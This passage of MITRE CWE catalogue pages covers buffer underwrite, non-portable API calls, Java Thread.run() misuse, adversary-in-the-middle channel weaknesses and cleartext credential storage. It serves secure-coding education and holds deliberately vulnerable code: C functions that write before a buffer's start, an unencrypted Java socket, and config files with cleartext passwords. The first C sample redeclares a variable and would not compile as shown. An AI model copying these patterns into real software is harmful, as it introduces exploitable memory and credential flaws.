char* trimTrailingWhitespace(char *strMessage, int length) {
char *retMessage;
char *message = malloc(sizeof(char)*(length+1));

// copy input string to a temporary string
char message[length+1];
int index;
for (index = 0; index < length; index++) {
message[index] = strMessage[index];
}
message[index] = '\0';

// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {
message[len] = '\0';
len--;
}

// return string without trailing whitespace
retMessage = message;
return retMessage;
}

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2

The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found.

(bad code)
Example Language:
int main() {
...
char *result = strstr(destBuf, "Replace Me");
int idx = result - destBuf;
strcpy(&destBuf[idx], srcBuf);
...
}

In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.

+ Observed Examples
ReferenceDescription
buffer underwrite in firmware verification routine allows code execution via a crafted firmware image
Unchecked length of SSLv2 challenge value leads to buffer underflow.
Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)
Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.
Buffer underflow resultant from encoded data that triggers an integer overflow.
Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.
Negative value is used in a memcpy() operation, leading to buffer underflow.
Buffer underflow due to mishandled special characters
+ Potential Mitigations

Phase: Requirements

Choose a language that is not susceptible to these issues.

Phase: Implementation

All calculated values that are used as index or for pointer arithmetic should be validated to ensure that they are within an expected range.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUNDER - Boundary beginning violation ('buffer underflow'?)
CLASPBuffer underwrite
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[REF-90] "Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004-01-10. <https://seclists.org/vuln-dev/2004/Jan/22>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-02-06Muchen XuNaive Systems
Pointed out that the demonstrative example #2 was incorrect and instead demonstrated a Buffer Under-read.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Description, Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Common_Consequences
2009-10-29CWE Content TeamMITRE
updated Description, Name, Relationships
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Demonstrative_Examples, References
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Observed_Examples
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-10-29Boundary Beginning Violation ('Buffer Underwrite')

CWE-589: Call to Non-ubiquitous API

Weakness ID: 589
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.
+ Extended Description
Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.474Use of Function with Inconsistent Implementations
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Potential Mitigations

Phase: Implementation

Always test your code on any platform on which it is targeted to run on.

Phase: Testing

Test your code on the newest and oldest platform on which it is targeted to run on.

Phase: Testing

Develop a system to test for API functions that are not portable.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.850The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1140SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)MET02-JDo not use deprecated or obsolete classes or methods
The CERT Oracle Secure Coding Standard for Java (2011)SER00-JMaintain serialization compatibility during class evolution
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Call to Limited API

CWE-572: Call to Thread run() instead of start()

Weakness ID: 572
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.
+ Extended Description
In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.821Incorrect Synchronization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Demonstrative Examples

Example 1

The following excerpt from a Java program mistakenly calls run() instead of start().

(bad code)
Example Language: Java 
Thread thr = new Thread() {
public void run() {
...
}
};

thr.run();
+ Potential Mitigations

Phase: Implementation

Use the start() method instead of the run() method.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.854The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1144SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)THI00-JDo not invoke Thread.run()
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Description, Other_Notes
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Call to Thread.run()

CWE-300: Channel Accessible by Non-Endpoint

Weakness ID: 300
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.
+ Extended Description
In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.
+ Alternate Terms
Adversary-in-the-Middle / AITM
Man-in-the-Middle / MITM
Person-in-the-Middle / PITM
Monkey-in-the-Middle
Monster-in-the-Middle
On-path attack
Interception attack
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.923Improper Restriction of Communication Channel to Intended Endpoints
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.602Client-Side Enforcement of Server-Side Security
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.603Use of Client-Side Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Access Control

Technical Impact: Read Application Data; Modify Application Data; Gain Privileges or Assume Identity

An attacker could pose as one of the entities and read or possibly modify the communication.
+ Demonstrative Examples

Example 1

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

(bad code)
Example Language: Java 
Socket sock;
PrintWriter out;

try {
sock = new Socket(REMOTE_HOST, REMOTE_PORT);
out = new PrintWriter(echoSocket.getOutputStream(), true);

// Write data to remote host via socket output stream.
...
}

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

+ Observed Examples
ReferenceDescription
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversry-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint).
+ Potential Mitigations

Phase: Implementation

Always fully authenticate both ends of any communications channel.

Phase: Architecture and Design

Adhere to the principle of complete mediation.

Phase: Implementation

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-300 is commonly misused for vulnerabilities in which the prerequisites for exploitation require the adversary to be in a privileged "in-the-middle" position.

Comments:

Consider root-cause weaknesses that allow adversary-in-the-middle attacks to happen, such as CWEs involving poor integrity protection.
+ Notes

Maintenance

The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMan-in-the-middle (MITM)
WASC32Routing Detour
The CERT Oracle Secure Coding Standard for Java (2011)SEC06-JDo not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
+ References
[REF-244] M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Name
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Alternate_Terms, Name, Observed_Examples, Related_Attack_Patterns, Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Alternate_Terms, Related_Attack_Patterns
2021-07-20CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Man-in-the-middle (MITM)
2009-05-27Channel Accessible by Non-Endpoint (aka 'Man-in-the-Middle')
2020-02-24Channel Accessible by Non-Endpoint ('Man-in-the-Middle')

CWE-313: Cleartext Storage in a File or on Disk

Weakness ID: 313
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext in a file, or on disk.
+ Extended Description
The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

+ Observed Examples
ReferenceDescription
Cleartext credentials in world-readable file.
Password in cleartext in config file.
Password in cleartext in config file.
Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
Cleartext storage of private key and passphrase in log file when user imports the key.
+ Detection Methods

